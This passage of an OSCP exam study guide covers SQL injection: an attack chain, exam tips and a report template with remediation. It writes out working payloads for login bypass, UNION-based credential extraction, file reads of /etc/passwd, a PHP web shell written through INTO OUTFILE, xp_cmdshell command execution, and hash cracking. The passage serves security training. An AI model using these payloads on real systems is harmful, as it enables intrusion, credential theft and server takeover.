├── Stacked queries
├── Second-order SQLi
├── WAF evasion
├── OS command execution via SQLi
└── Database-specific techniques
Phase 4: Practice (Ongoing)
├── DVWA (Damn Vulnerable Web App)
├── bWAPP (Bug Bounty Web Application)
├── PortSwigger Web Security Academy
├── OSCP lab machines with web components
└── CTF challenges
10. SQLi in the OSCP Exam Context
OSCP Exam Relevance
SQL injection is a core skill for the OSCP exam. While the exam focuses heavily on network penetration testing, web application vulnerabilities — particularly SQLi — appear frequently in lab machines and exam targets.
How SQLi Appears in OSCP
| Context | Frequency | Typical Scenario |
|---|---|---|
| Web application boxes | Very Common | SQLi in login form → credential extraction → SSH access |
| Initial access | Common | SQLi → admin panel access → file upload → shell |
| Privilege escalation | Occasional | SQLi with xp_cmdshell → system-level access |
| Lateral movement | Less Common | SQLi → credential dump → pivot to internal network |
| Combined attacks | Common | SQLi + file inclusion, SQLi + XSS, SQLi + directory traversal |
Typical OSCP SQLi Attack Chain
┌──────────────────────────────────────────────────────────────────┐
│ TYPICAL OSCP SQLI ATTACK CHAIN │
│ │
│ 1. Reconnaissance │
│ ├── Nmap scan identifies web service (port 80/443/8080) │
│ ├── Directory enumeration (gobuster/dirb) │
│ └── Identify input fields and parameters │
│ │
│ 2. SQLi Discovery │
│ ├── Test for error-based SQLi (single quote, dash, etc.) │
│ ├── Confirm with UNION-based injection │
│ └── Enumerate database schema │
│ │
│ 3. Data Extraction │
│ ├── Extract usernames and passwords │
│ ├── Check for hashed vs. plaintext passwords │
│ └── Crack hashes (hashcat/John the Ripper) │
│ │
│ 4. Access │
│ ├── Login with extracted credentials │
│ ├── Access admin panel or application features │
│ └── Find file upload or command injection vector │
│ │
│ 5. Shell │
│ ├── Upload web shell via file upload │
│ ├── Or use SQLi to write file (INTO OUTFILE) │
│ └── Gain reverse shell │
│ │
│ 6. Post-Exploitation │
│ ├── Enumerate the system │
│ ├── Find credentials and sensitive files │
│ ├── Escalate privileges │
│ └── Pivot to other systems │
└──────────────────────────────────────────────────────────────────┘
OSCP-Specific SQLi Techniques to Master
1. Authentication Bypass
Target: Login form on a web application
Goal: Bypass authentication to access the application
Technique:
Username: admin' --
Password: (anything)
Or:
Username: admin' OR '1'='1' --
Password: (anything)
2. Credential Extraction
Target: Login form or search functionality
Goal: Extract usernames and password hashes
Step 1: Determine number of columns
?id=1 ORDER BY 1-- (increment until error)
?id=1 ORDER BY 4-- (error → 3 columns)
Step 2: Find displayable columns
?id=1 UNION SELECT 1,2,3--
Step 3: Extract data
?id=1 UNION SELECT username,password,3 FROM users--
Step 4: Crack hashes
hashcat -m 0 hashes.txt rockyou.txt
3. File Read via SQLi
MySQL:
?id=1 UNION SELECT LOAD_FILE('/etc/passwd'),2,3--
MSSQL:
-- Use OPENROWSET or BULK INSERT techniques
PostgreSQL:
?id=1 UNION SELECT pg_read_file('/etc/passwd'),2,3--
4. File Write via SQLi (Web Shell)
MySQL:
?id=1 UNION SELECT '<?php system($_GET["cmd"]); ?>',2,3
INTO OUTFILE '/var/www/html/shell.php'--
Note: Requires FILE privilege and known writable path
5. OS Command Execution via SQLi
MSSQL with xp_cmdshell:
'; EXEC xp_cmdshell('whoami')--
MySQL with UDF (User Defined Function):
-- More complex, requires multiple steps
-- 1. Create UDF table
-- 2. Write UDF DLL to plugin directory
-- 3. Create function from DLL
-- 4. Execute system command
PostgreSQL:
'; COPY (SELECT pg_read_file('/etc/passwd')) TO '/tmp/out.txt'--
OSCP Exam Tips for SQLi
| Tip | Description |
|---|---|
| Always test manually first | Don’t jump to sqlmap — understand the vulnerability |
| Document everything | Screenshots of each step are required for the report |
| Start simple | Try ', '--, ' OR '1'='1 before complex payloads |
| Check error messages | They reveal database type, version, and structure |
| Try all input vectors | GET, POST, cookies, headers — not just obvious fields |
| Use Burp Suite | Intruder for automation, Repeater for manual testing |
| Note the database type | MySQL, PostgreSQL, and MSSQL have different techniques |
| Look for stacked queries | Some databases allow multiple statements with ; |
| Check for file operations | LOAD_FILE, INTO OUTFILE, xp_cmdshell |
| Extract all credentials | Don’t stop at the first user — check for admin accounts |
Common OSCP Machines with SQLi
| Machine | Difficulty | SQLi Type | Key Technique |
|---|---|---|---|
| DVWA | Easy | All types | Practice ground for all SQLi techniques |
| bWAPP | Easy | All types | Comprehensive web vulnerability practice |
| Mutillidae | Easy-Medium | Various | OWASP-compliant vulnerable app |
| Various OSCP labs | Medium | Boolean/Time blind | Often require manual extraction |
SQLi in the OSCP Report
When documenting SQLi in your OSCP report:
## SQL Injection Vulnerability
### Vulnerability Description
The web application at [URL] is vulnerable to SQL injection in the
[parameter/field] parameter. User-supplied input is directly concatenated
into SQL queries without proper sanitization or parameterization.
### Proof of Concept
1. Normal request: `GET /products.php?id=1`
2. Injected request: `GET /products.php?id=1' OR '1'='1`
3. Result: [screenshot showing error or unexpected behavior]
### Exploitation
1. Determined database type: [MySQL/PostgreSQL/MSSQL]
2. Enumerated columns: [number] columns
3. Extracted credentials: [username:hash pairs]
4. Cracked passwords: [results]
5. Gained access: [screenshot of authenticated session]
### Impact
- Confidentiality: Complete database access
- Integrity: Ability to modify/delete data
- Availability: Potential for data destruction
### Remediation
- Use parameterized queries (prepared statements)
- Implement input validation
- Apply principle of least privilege to database accounts
- Deploy a Web Application Firewall as defense-in-depth
Summary
SQL injection remains one of the most critical and prevalent web application vulnerabilities, despite being well-understood for over 25 years. Its persistence is due to a combination of legacy systems, developer knowledge gaps, framework misuse, and the ever-expanding attack surface of modern applications.
Key Takeaways
- SQLi is fundamentally about data/code confusion — the application fails to distinguish between user data and SQL code
- The attack surface is vast — any user-controlled input that reaches a SQL query is a potential injection point
- Impact can be catastrophic — from data theft to complete system compromise
- Mitigation is well-known — parameterized queries are the gold standard
- OSCP relevance is high — SQLi is a common initial access vector in exam machines
- Manual skills matter — while tools like sqlmap exist, understanding the underlying mechanics is essential for the exam and real-world penetration testing
Next Steps
After mastering this introduction, proceed to:
- Error-Based SQL Injection — extracting data through database error messages
- UNION-Based SQL Injection — combining query results for data extraction
- Blind SQL Injection — extracting data when no output is visible
- Advanced SQL Injection — stacked queries, OS command execution, and WAF evasion
This study guide is part of the OSCP preparation series. For questions or corrections, refer to the main index at D:\ai\oscp\README.md.